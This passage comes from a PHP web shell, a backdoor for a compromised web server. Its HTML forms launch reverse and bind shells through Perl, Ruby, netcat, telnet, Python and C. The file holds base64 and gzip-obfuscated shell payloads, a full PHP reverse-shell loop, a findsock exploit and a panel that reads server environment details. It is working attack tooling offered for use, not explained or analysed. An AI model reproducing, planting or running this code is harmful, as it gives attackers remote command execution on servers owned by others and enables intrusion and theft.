1311 $c='perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"'.$_POST['ip'].':'.$_POST['port'].'");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'';
1312 run($c);
1313 echo "done<br>";
1314 break;
1315 case "ruby":
1316 $c='ruby -rsocket -e \'exit if fork;c=TCPSocket.new("'.$_POST['ip'].'","'.$_POST['port'].'");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\'';
1317 run($c);
1318 echo "done<br>";
1319 break;
1320 case "nc":
1321 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && nc '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd 2>&1';
1322 run($c);
1323 echo "done<br>";
1324 break;
1325 case "telnet":
1326 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && telnet '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd 2>&1';
1327 run($c);
1328 echo "done<br>";
1329 break;
1330 case "python":
1331 $c='python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$_POST['ip'].'",'.$_POST['port'].'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
1332 run($c);
1333 echo "done<br>";
1334 break;
1335 }
1336 }
1337 echo '<font color="green">- - - - = = = = > > classic</font><br>';
1338 echo '<font color="blue">---> PHP </font><br>';
1339 if (!function_enabled('set_time_limit')) { echo '<font color="gray">warning! set_time_limit off!</font><br>'; }
1340 if (!function_enabled('ignore_user_abort')) { echo '<font color="gray">warning! ignore_user_abort off!</font><br>'; }
1341 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$semi.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phplocal"></form>';
1342 if (function_enabled('fsockopen')) {
1343 if (function_enabled('proc_open')) {
1344 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$nc.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phpremote"></form><br>';
1345 } else { echo 'fail, proc_open is needed for backconnect!<br><br>'; }
1346 } else { echo 'fail, fsockopen is needed for backconnect!<br><br>'; }
1347 //php end
1348 echo '<font color="blue">---> PERL </font><br>';
1349 $searchvar=trim(search("perl",$failflag));
1350 if (empty($searchvar)) {
1351 echo "fail, no perl here<br>";
1352 } else {
1353 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perllocal"><input name="p" type="hidden" value="b"> ';
1354 if (is_writable("./")) {
1355 echo "<font color=\"green\">(./ writable)</font>";
1356 } else {
1357 echo "<font color=\"red\">(./ readonly)</font>";
1358 }
1359 echo '<br>'.$semi.'</form>';
1360 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perlremote"><input name="p" type="hidden" value="b"><br>'.$nc.'<br></form>';
1361 }
1362 //perl end
1363 echo "<br>";
1364 echo '<font color="blue">---> PYTHON </font><br>';
1365 $searchvar=trim(search("python",$failflag));
1366 if (empty($searchvar)) {
1367 echo "fail, no python here<br>";
1368 } else {
1369 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="pylocal"><input name="p" type="hidden" value="b"> ';
1370 if (is_writable("./")) {
1371 echo "<font color=\"green\">(./ writable)</font>";
1372 } else {
1373 echo "<font color=\"red\">(./ readonly)</font>";
1374 }
1375 echo '<br>'.$semi.'</form>';
1376 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyremote"><br>'.$nc.'<br></form>';
1377 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">fully interactive backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyint"><br></form>';
1378 echo '<font color="gray">you need to run special client first: <a href="#" onclick="showTooltip(2)" id="link2"> >> show code << </a><br>with this one you will be able to run mc, top, vim, etc</font>
1379 <div id="2" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1380 echo '<br>usage: python client.py [host] [port], then input there ^^^^ your host and port.<br>do not remove whitespace!<br>if you see "TERM is not set", run command: export TERM=linux<br>//thanks to ont.rif for interactive backconnect<br>';
1381 echo "<textarea cols=\"80\" rows=\"20\">";
1382 echo gzinflate(base64_decode('dVLBbhoxFLzvV0ypUHcly5BWvaDmEKVEQm1BKhv1sEFou/sAKxsb2U4Ifx8/mySEKAfWsj0zb2bM58G9s4P/Sg9IP2C79xujM3W3NdbDmeaWvMDW7wU8fxx11IQTt3cCxmVqhY50zntZ2/UDCvzAt1GGrVXao3ft6jWN0HeoNsb5BSoWXvTQxyupGi5QZNQ5CkSG4RzO2yPAGQMQPZ0jCB9dfY1X7JRZ0bBMS/68vbhaTqbjUjzv57PLX8t5+Xd88Ye53u7D3HgpQw9tjpxNiDivYES665TznPU7H9FjQ1vPvEPSy1p/8WA+Pt3oXsZ9SUfe1rucC5Tz8udkurya/B5PZ6yw26iOUNp7OlL5Vyuv9BorY0POxtzxxuhQ4KjvpJQ3NlZ35C9w84b9CdRta4tDC7Ju2GBevGrPboNA3yWJ2C8TYr63XmAFdgLEUvG9ZVpyVIij5CrAtckL8T7ZQqCKvyiM8Ad5SwmxYOMUtDU/p3HSUh1aP5U+Gw6HSYQxO6s8vTQ5uy4PA0WUSbAwTBvPB2nAy9t0isLadMZRi8ZoHdIoo0MVCUePKlXFEu8ifej4FPmB59NgyfAT'));
1383 echo "</textarea><br>";
1384 echo '</div><br>';
1385 }
1386 //python end
1387 echo "<br>";
1388 echo '<font color="blue">---> C </font><br>';
1389 $searchvar=trim(search("gcc",$failflag));
1390 if (empty($searchvar)) {
1391 echo "fail, no gcc here<br>";
1392 } else {
1393 echo '<font color="gray">don\'t remove ".c" file extension! compiler= '.$searchvar.'</font><br>';
1394 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd.c"><input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="clocal"> ';
1395 if (is_writable("./")) {
1396 echo "<font color=\"green\">(./ writable)</font>";
1397 } else {
1398 echo "<font color=\"red\">(./ readonly)</font>";
1399 }
1400 echo '<br>'.$semi.'</form>';
1401 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc.c"><input type="submit" value="go"><input name="shellz" type="hidden" value="cremote"><input name="p" type="hidden" value="b"><br>'.$nc.'</form>';
1402 }
1403 //c end
1404 echo "<br>";
1405 echo '<font color="blue">---> PHP+C findsock </font><font color="gray">(likely wont work on modern php&apache >= 2009)</font><br>';
1406 $searchvar=trim(search("gcc",$failflag));
1407 if (empty($searchvar)) {
1408 echo "fail, no gcc here<br>";
1409 } else {
1410 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">compile findsock saving binary to: <input name="path" type="text" maxlength="500" size="10" value="./findsock"> <input name="p" type="hidden" value="b"><input type="submit" value="go"><input name="shellz" type="hidden" value="findsock"> <a href="#" onclick="showTooltip(3)" id="link3"> >> help << </a>';
1411 echo '<div id="3" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1412 echo "first save and compile findsock binary, then connect to this shell via nc and specify the path to binary in the request, e.g. if you've saved binary in current dir, make such request: <br><br>h4x0r@localhost$ nc -v ".$_SERVER['SERVER_NAME']." 80 <br> GET ".$_SERVER['SCRIPT_NAME']."?pfs&path=".getcwd()." HTTP/1.0 <br> Host:".$_SERVER['SERVER_NAME']." <press_Enter><br><press_Enter><br><br>and if findsock will succeed, you'll see a shell: <br> sh-3.2$<br><br>use nc, not telnet! do not forget to specify the correct path! <br>additional info: <br>https://bugs.php.net/bug.php?id=38915<br>https://issues.apache.org/bugzilla/show_bug.cgi?id=46425<br>http://pentestmonkey.net/tools/web-shells/php-findsock-shell<br><br></div>";
1413 echo '</form><br><br>';
1414 }
1415 } //failcheck end
1416 if (!empty($_POST["shellz"])) {
1417 //code by security-teams.net
1418 $perlbdcode='#!'.search("perl",$failflag).'
1419 use IO::Socket::INET;
1420 $server = IO::Socket::INET->new(
1421 LocalPort => '.$_POST["port"].',';
1422 $perlbdcode.=gzinflate(base64_decode('bY/RCoIwFIbve4rjiJhhSNemEGYQpYIadBFE6RFHpuKsiPDdc6ZB1C7G9n3/OdsBECt4FNgeQDfAd831wQ88a24rgzf18Mqx99OebhivMPtU2fOd6TrOW8qQlxAxpGR5ZClG0j4jsibcPWnudCyioMOQY3nDcmIcwxCLisqyyDzbJiymUpyX5w52FPKiedQPFitHASCzkehEtG/nbgMFiPHXWZ734/ijGeVCiXpimcqT7qtQt3uY5s30It7SevAC'));
1423 //code by Michael Schierl
1424 $perlbccode='#!'.search("perl",$failflag);
1425 $perlbccode.="\n";
1426 $perlbccode.=gzinflate(base64_decode('lVVtb5pQFP7OrzgaUiChFZxNVxlmru06006MspdkWRqESyVFIHDRNq3/fedeXoTGdZkm5rw859znnPuAeUZgYg2Hi9h9INQQcvQ/uxENDUG0J9bF9cyeggnHfX1wpp+fn5/2y8RiZt9e3GBK184GWv/0tK9j5mp8PZ5MTZ3ZX6yFbYrj+fX3X9pv9GfWvPJ15mtmNyI0ow7topchAewWkW2Dz3A4mV7ZIAszQtKx56VgjoA3VnloFqeUh1hvDKUxjZkvUTeRVOFTiF2C6J6FNFVQIE7BCwiIHUPInrI4IRHIM/vrTxWknkc2vYSuHyUVrLv55Y/5i3U3taafbq2Lm1alSNeJKUmGEMQuDasG9bbQREC7IqEZzpZHieM+yFIglRjM5BHjaO4TmlI2bvYtlo1OAW81d1dekCJ/qRnkoy3sy8m0Gi3Kw7AFyddO9gCaIXjEDyLiyWISeMjSj9P2AeQxoBD4wPL/RiNQ7rCkAs9YSly528uWQdRz7gmlT3AcwXEIPRZZOtkK3r0faBqU2896bFVd3rBV/H+1VWkN/NDCwKjt9kcHWjSnN4QdlJ96s9Y3G1c7Gh1eboW6ms/fQIlJgitk94x2GkSmuGU/BH+YvjY4BAurfhCSKMaVJ4qqK2DqB3Ls+SmygOmMhMSlwKPY+8Xcx8rjmqFinCoo4gUH2Yp4Joojy5fsjrdO6nkOdfBO108gi34ar1WRxuy4j3eGsF0hDVlndy6mGwzi45USxyuRIC5z31fxXdEfoL5DJ+OKkju1mtKNAkdHuBUwTShfI0pDbSz/SmX8IBMfGHiGmjMfH9gBxq5khfu5p6uCAow4fk9ymwaUyDhJzbEJV0o9v00T+0Xkkankr3zriUvSrw7BLWc0lQsGmsqrTWAa2PFvMUhnPyafIfLjPGITF9eIveOcmlwVIG65veU24TZhNhYQdmJBrKBU9cHXvI6pxnUzyamFtPYz1CReQRlMZRo9CN0Jbhjjn0shv8Ku5FlwZSxPuH3CJzGEPw=='));
1427 //author/license unknown
1428 $cbdcode=gzinflate(base64_decode('bVBha8IwEP3eX3FMmOns1H2uDoo6kDEV7ZexSejaVA9rKkkUq+y/75q6Drd9CHl59y737jVQxtk+EdDTJsG8vX50Gj8UrmSU/eIK3THFTui/tM7jjTDXvBQG6XRQljxKA6TiidCeBXGGFVBxdWdCEhDqIBTfYeIBKUrgO9qofWzbN1GSKI7S6nj58OG/MrUKaSqBHb2NiGUlitSKBsbrSMEd4cPb0nXOYEXoO2muGPa7PvZKnY+tlgtnZyu2Whhm5bj0mu/HbtOjsWT5m3Rd3/m0VuNdUZHdpXdDAWgTmRuqXraHPlRpseCJjyej0IPFdPDMF+F8FLx4MJ7N5tNwysPBzKXlMAVWd/bh/sEFRxzRMEJU/jgJlTNWrePCbZ0LRYknkaesZkqH9aOtUfI02mJWkKGLkzLLK0EF7EWqtcllxsaTYDic82DySv99AQ=='));
1429 $cbdcode.='serv_addr.sin_port = htons('.$_POST["port"].');';
1430 $cbdcode.="\n";
1431 $cbdcode.=gzinflate(base64_decode('hVJBasMwELznFVsfilRUEgd6cnNOcymF0rNxpbUtImwjKWloyd+7suzGaQjBIHtn2PHMINfK3EpYwaduFHM0KXQCmPN2Jz0QsC2UsvDA4d6h3edhEuD0N7Yl+0M4z2a6hF6A5O5WsOAww4P27DHlGfRk2dot42fkInAOfVfZjtE3DbpqCsPeN+uXjzcB9M4369ebEmMMo53H5hTk6bqxfvGr1gaBpRx+oorBhmSGfNJobHxMmPU0IUQXUmLnb9Q1WRZUXtSe2AlSz//sEJZ3WtEvKipFKxb7sXu0Ax4bGOqYMDEZhVC7bjnqi170DEkvkCV5wgNKw5I53YK5qxORhIPJughRBmetw3EnACfTxwt2dqTnFw=='));
1432 //author/license unknown
1433 $cbccode=gzinflate(base64_decode('XVBNawIxEL3nVwwrlESjq161BRELUqui25Msy5pku6FrIkksVfG/N7vWj3oYMvPmzZuXqUnFih0X0LeOS93KX1DtBu1taDX7Eu4/roSTPkKpSlwqB5tUKlwmqflkFFieGqj7/HsVE3SsKBnvIevMjjkoNVPOTSIVWKl6iKdioxXu0DbxJC/rI8nSjSz28AyD12Q8HUW3zlYb5/HcaWVx6rTE1apuTO7GywUtWz2eW/qt8jO1E5MeoPVBGH0BqDdXCHXtNzqNe6QSB5RxL3a+Cf7zRWE5G74ly2gxGrxTGM/ni1k0S6LhnICfkBlgzLRSgjmccQr44QpQJ/DkHVN/i4PQ2WOfENJvEziirTBGGxysmjFcBEngvyx+pMPl6U6I77bdaktZXovOfdGtJgQrcBCupQptHtDA5tCUAYXpx2Ti+6zQVnh2+eUT+gU='));
1434 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
1435 $findsock=gzinflate(base64_decode('bVLbTsMwDH3vV5gioaR09zdG+QLEG0+ApqxJN4suqZIUcRH/jp11Y0yoUhIfHx87J71EW7e9NnAbPsIkuPrVxPH2Lrv8xaNGdw55tJu/mPKdmqA9ryaAQcr8xXuLJMwY2gg7hRYEn5Tf1CXUW+WLgoM3CV8ZNiA4ARcVLBjoqH9sRP4Y1MbcQINW8+iAHXTOx2eby2Vm3jGKKR2+M9aDgikrolRJ+Gn2sjxNcOEhNacUXbKvI3BOae1XNKEP6l+8ZZynD/hpSIM31wiiy6GFNzsXDTV/Wkxf9txGL7PGeRCNrhZLCm83Juqo1q3heiEZu74+3J+SnTHeqp2hihKuSJ1Wpkr2ZTRjJg1n6+5DHPuVwPavbHRKFGKYHe2KR4dCsso4DPE4pE2WsGDbuGvS23WneoOLiQRVBdPDhPx+khptgziosqeJlHIqOhRHr2Wa18SAmu6a6b6bp4tNT4PZaTBnN1sX2ID0vqZuRT5Zo5307Etewlk0UrQ+PN7fn9HD9sjdH0f4S/xO3/4XA5GP8wH7AQ=='));
1436 //code by b374k
1437 $pybdcode="#!".search("python",$failflag)."\n";
1438 $pybdcode.=gzinflate(base64_decode('jVTbahsxEH3ehf0HVS/WYmdjO+2LWxlCcUioE5fYhUIIZrOrZEU2kpHkXP6+mpF8aZxCX7zS6MycMzfLp5U2jmjbI/YNfnT1KFyPOPkksvTy9PdyOrnig/7wc5bOzyfTKafHd1Id24YcVTRLFxeXk+Xs14IPhv1+lv6cXS849fbz2TwcanFPbCPallVPdT7K0sQ2S712XNtipVdCMQzb7RDa6XpIt0M7eWFEWbdSCcty76GiC8RL7rUhkkhFTKkeBGt9hPCcY/QNuMvD90beeqsRbm0UiW9BVVk5qRWrtFLo+dLIVpCFWQuMA/bCClUzOh6PCQUhiTNv+JisvFSOECOqZxYLhRjxWomVizAjlSMUqul5KdqiFiBCeGsDYQIhacB8kCQw5keDkCSCuxxsIcEkkfcEAnA6qisaQe+oPNcOZet3qLPSK4mwjSSICuTAPe5HWwK92PU0Gnf1gl5kaWkenrmfqQIOWRoDwSX/djIi3isWRxijzVfIG9DiVTo28P6oFeA3g1uv9+gO5eKAoXV4e4gxlJSq3hGNTw59EhxNvJ5gCJ8r2bIi1sticMhRth9U345Hln/iWIGtyr5/h33hYWmK8GHxdnq2vLiaLDYrVcxn338s54vryell9PPVcnEy2GaPAuVB2gj3e1cz1ml1VbaNtq7TI6gy3wBaaZ1PHXSZteKh7WGs/R3ivC/XaDPUqLKAHorKMcKgSDE82Z9qsj/WIIKslV/WqinvWhFmF1IqbCvEin3JtxMOCnhcOeCCl+2cgYIEN7FX1rXJsaJFWQEl+6+l2iMdfEyKe35QAl9eEia3Wbtavyg2PFBGYrPgr4D+VYx/sAb8fsA/'));
1439 //code by ont.rif
1440 $pyintserver="#!".search("python",$failflag)."\n";
1441 $pyintserver.="import sys, socket, os, pty, fcntl, struct, termios, select, resource\n";
1442 $pyintserver.="host = \"".$_POST["ip"]."\"\n";
1443 $pyintserver.="port = ".$_POST["port"]."\n";
1444 $pyintserver.=gzinflate(base64_decode('hVT9i+IwEP29f8XcgjSFXlfXdT+EPVg8lyvnKqzCwalIL41rsCYliav+9zfpl9VdsNjGJm9m3ry81KhD1wEt6RqesoGZIB9I+fr8sgiH/Ylfvo9Hvd+L8eSt//wKXh4bUCkEoxhDVlIbH1KpjIerbE9ZarBCqrgwcAW9SLgGCvi3mbhyQOpgwfYcg1sYYTJCfGmnl1KtiQc/oNmtoZq26iVAXhhG475SUvnA7FDxcMFGdqERA2lobyZcaADJQQE+hSwiAm1U9gdTYoF4m97kugRLnjAhiYeyHDTCYi6qObiMlltzhF9EI4U6uhSzoWcKnxnqgynNpXBSHvtAVzyJF8sY9zQ1h0ImBzUT0gAiuuBALjRMwlFv/Cccjv8i+J2ZyBhFDFMbLrUP7nHZ9eH7Tev27vHmsXPXwi2we1CPfgJcfmi27+/bnYFNfZq7Foxr2trNqC01QRrRNXF/4YUlbps+POBtf7bGkgqTBFxSk5CvtPNrRVAua43Kc5BGWjuwifa5FIppuVWUBdimSvgGvVJNvQ3C13CyGI5ewkHfmzbnjrUIcOACVCTeGYG2X6bybPJCP+s7mkjNgHBL+NR4GSKngTi2Z/SDgHv9j4trvcJ2p647R8473C8GE7VlGIBu3aH9rEAswVMS5AOBabWv/qlPYI6ZirtTnI7KAraBOl9sGVMjG8WimNRStpr2suFZUzvFDftkSBt9bDNvL3fjT44SZNnA8A0D3CUP7VlkOzu7p/RLimfUzkq3SnZHckfyJa/C4/j6iRvb4FkoPmJfM/sP'));
1445 switch ($_POST["shellz"]) {
1446 case "phpremote":
1447 // code by pentestmonkey.net. license: GPLv2
1448 $ip=($_POST["ip"]);
1449 $port=($_POST["port"]);
1450 $chunk_size=1400;
1451 $write_a=null;
1452 $error_a=null;
1453 $shell='/bin/sh -i';
1454 $daemon = 0;
1455 function printit ($string) { if (!$daemon) { print "$string\n"; }}
1456 if (function_exists('pcntl_fork')) {
1457 $pid = pcntl_fork();
1458 if ($pid == -1) { printit("ERROR: Can't fork<br>"); exit(1); }
1459 if ($pid) { exit(0); }
1460 if (posix_setsid() == -1) { printit("Error: Can't setsid()<br>"); exit(1); }
1461 $daemon = 1;
1462 } else { printit("WARNING: Failed to daemonise!<br>"); }
1463 umask(0);
1464 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
1465 if (!$sock) { printit("$errstr ($errno)"); exit(1); }
1466 $process = proc_open($shell, $descriptorspec, $pipes);
1467 if (!is_resource($process)) { printit("ERROR: Can't spawn shell<br>"); exit(1); }
1468 stream_set_blocking($pipes[0], 0);
1469 stream_set_blocking($pipes[1], 0);
1470 stream_set_blocking($pipes[2], 0);
1471 stream_set_blocking($sock, 0);
1472 printit("Successfully opened reverse shell to $ip:$port<br>");
1473 while (1) {
1474 if (feof($sock)) { printit("ERROR: Shell connection terminated<br>"); break; }
1475 if (feof($pipes[1])) { printit("ERROR: Shell process terminated<br>"); break; }
1476 $read_a = array($sock, $pipes[1], $pipes[2]);
1477 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
1478 if (in_array($sock, $read_a)) {
1479 $input = fread($sock, $chunk_size);
1480 fwrite($pipes[0], $input);
1481 }
1482 if (in_array($pipes[1], $read_a)) {
1483 $input = fread($pipes[1], $chunk_size);
1484 fwrite($sock, $input);
1485 }
1486 if (in_array($pipes[2], $read_a)) {
1487 $input = fread($pipes[2], $chunk_size);
1488 fwrite($sock, $input);
1489 }
1490 }
1491 fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);@proc_close($process);
1492 //php backconnect end
1493 break;
1494 case "phplocal":
1495 // code by metasploit.com. license unknown, assuming BSD
1496 $port=$_POST["port"];
1497 $scl='socket_create_listen';
1498 if (function_enabled($scl)) {
1499 $sock=@$scl($port);
1500 } else {
1501 $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
1502 $ret=@socket_bind($sock,0,$port);
1503 $ret=@socket_listen($sock,5);
1504 }
1505 $msgsock=@socket_accept($sock);
1506 @socket_close($sock);
1507 while (FALSE !== @socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) {
1508 $buffer = '';
1509 $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
1510 if (FALSE === $c) { break; }
1511 if (substr($c,0,3) == 'cd ') {
1512 chdir(substr($c,3,-1));
1513 } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
1514 break;
1515 } else {
1516 if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; }
1517 if (function_enabled('shell_exec')) {
1518 $buffer=shell_exec($c);
1519 } else if(function_enabled('passthru')) {
1520 ob_start();
1521 passthru($c);
1522 $buffer=ob_get_contents();
1523 ob_end_clean();
1524 } else if(function_enabled('system')) {
1525 ob_start();
1526 system($c);
1527 $buffer=ob_get_contents();
1528 ob_end_clean();
1529 } else if(function_enabled('exec')) {
1530 $buffer=array();
1531 exec($c,$buffer);
1532 $buffer=join(chr(10),$buffer).chr(10);
1533 } else if(function_enabled('proc_open')) {
1534 $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
1535 $buffer=NULL;
1536 while (!feof($pipes[1])) {
1537 $buffer.=fread($pipes[1],1024);
1538 }
1539 @proc_close($handle);
1540 } else if(function_enabled('popen')) {
1541 $fp=popen($c,'r');
1542 $buffer=NULL;
1543 if (is_resource($fp)) {
1544 while (!feof($fp)) {
1545 $buffer.=fread($fp,1024);
1546 }
1547 }
1548 @pclose($fp);
1549 }
1550 else { $buffer=0; }
1551 }
1552 @socket_write($msgsock,$buffer,strlen($buffer));
1553 }
1554 @socket_close($msgsock);
1555 echo "<br><br><font color=\"green\">phplocal done</font>";
1556 break;
1557 //phpbind end
1558 case "perllocal":
1559 $exec_path = trim($_POST['path']);
1560 ob_start();
1561 @sploent516();
1562 ob_end_clean();
1563 $fh=fopen($exec_path,'w');
1564 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1565 else {
1566 fwrite($fh,$perlbdcode);
1567 fclose($fh);
1568 chmod($exec_path,0644);
1569 $c=search("perl",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1570 run($c);
1571 echo "<br><br><font color=\"green\">perllocal done</font>";
1572 }
1573 //perl bind end
1574 break;
1575 case "perlremote":
1576 $exec_path=trim($_POST['path']);
1577 ob_start();
1578 @sploent516();
1579 ob_end_clean();
1580 $fh=fopen($exec_path,'w');
1581 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1582 else {
1583 fwrite($fh,$perlbccode);
1584 fclose($fh);
1585 chmod($exec_path,0644);
1586 $c=search("perl",$failflag).' '.$exec_path.' '.$_POST["ip"].' '.$_POST["port"].' && rm -f '.$exec_path.'';
1587 run($c);
1588 echo "<br><br><font color=\"green\">perlremote done</font>";
1589 }
1590 break;
1591 //perl backconnect end
1592 case "pylocal":
1593 $exec_path = trim($_POST['path']);
1594 ob_start();
1595 @sploent516();
1596 ob_end_clean();
1597 $fh=fopen($exec_path,'w');
1598 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1599 else {
1600 fwrite($fh,$pybdcode);
1601 fclose($fh);
1602 chmod($exec_path,0644);
1603 $c=search("python",$failflag).' '.$exec_path.' -b '.$_POST["port"].' && rm -f '.$exec_path.'';
1604 run($c);
1605 echo "<br><br><font color=\"green\">pylocal done</font>";
1606 }
1607 //python bind end
1608 case "pyremote":
1609 $exec_path=trim($_POST['path']);
1610 ob_start();
1611 @sploent516();
1612 ob_end_clean();
1613 $fh=fopen($exec_path,'w');
1614 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1615 else {
1616 fwrite($fh,$pybdcode);
1617 fclose($fh);
1618 chmod($exec_path,0644);
1619 $c=search("python",$failflag).' '.$exec_path.' -r '.$_POST["port"].' '.$_POST["ip"].' && rm -f '.$exec_path.'';
1620 run($c);
1621 echo "<br><br><font color=\"green\">pyremote done</font>";
1622 }
1623 break;
1624 //python backconnect end
1625 case "pyint":
1626 $exec_path=trim($_POST['path']);
1627 ob_start();
1628 @sploent516();
1629 ob_end_clean();
1630 $fh=fopen($exec_path,'w');
1631 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1632 else {
1633 fwrite($fh,$pyintserver);
1634 fclose($fh);
1635 chmod($exec_path,0644);
1636 $c=search("python",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1637 run($c);
1638 echo "<br><br><font color=\"green\">pyint done</font>";
1639 }
1640 break;
1641 //python interactive end
1642 case "clocal":
1643 $exec_path=trim($_POST['path']);
1644 ob_start();
1645 @sploent516();
1646 ob_end_clean();
1647 $fh=fopen($exec_path,"w");
1648 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1649 else {
1650 fwrite($fh,$cbdcode);
1651 fclose($fh);
1652 $c=search("gcc",$failflag)." -w ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["port"]." | rm -f ".$exec_path."";
1653 run($c);
1654 echo "<br><br><font color=\"green\">clocal done</font>";
1655 }
1656 break;
1657 //C bind end
1658 case "cremote":
1659 $exec_path=trim($_POST['path']);
1660 ob_start();
1661 @sploent516();
1662 ob_end_clean();
1663 $fh=fopen($exec_path,"w");
1664 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1665 else {
1666 fwrite($fh,$cbccode);
1667 fclose($fh);
1668 $c=search("gcc",$failflag)." ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["ip"]." ".$_POST["port"]." | rm -f ".$exec_path."";
1669 run($c);
1670 }
1671 break;
1672 case "findsock":
1673 $fs_path=trim($_POST['path']);
1674 ob_start();
1675 @sploent516();
1676 ob_end_clean();
1677 $fh=fopen($fs_path.".c","w");
1678 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1679 else {
1680 fwrite($fh,$findsock);
1681 fclose($fh);
1682 $c=search("gcc",$failflag)." ".$fs_path.".c -o ".$fs_path." && rm -f ".$fs_path.".c";
1683 run($c);
1684 echo "<br>compiled, now connect to shell via nc and request ?pfs&path=".$fs_path."<br>";
1685 }
1686 break;
1687 }
1688 }
1689 echo $pageend;
1690 break;
1691// --------------------------------------------- bind end; extras
1692 case "e":
1693 if (empty($_POST["extraz"]) and $download != "1") {
1694 echo $title;
1695 echo '<font color="blue">---> SysInfo</font><br>';
1696 echo '<br><a href="#" onclick="showTooltip(6)" id="link5"> >> show << </a>
1697 <div id="6" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1698 echo 'SERVER_ADDR: '.getenv('SERVER_ADDR').'<br>';
1699 echo 'REMOTE_ADDR: '.getenv('REMOTE_ADDR').'<br>';
1700 echo 'HTTP_X_FORWARDED_FOR: '.getenv('HTTP_X_FORWARDED_FOR').'<br>';
1701 echo 'HTTP_PROXY_CONNECTION: '.getenv('HTTP_PROXY_CONNECTION').'<br>';
1702 echo 'HTTP_VIA: '.getenv('HTTP_VIA').'<br>';
1703 echo 'HTTP_USER_AGENT: '.getenv('HTTP_USER_AGENT').'<br>';
1704 echo 'SERVER_SOFTWARE: '.getenv("SERVER_SOFTWARE").'<br>';
1705 echo "php API: ".php_sapi_name()."<br>";
1706 echo "php version: ".version()." (full: ".phpversion().")<br>";
1707 echo 'disable_functions: '.ini_get('disable_functions').'<br>';
1708 sploent516();
1709 echo "<br>";
1710 echo "current dir: ".getcwd()."<br>";
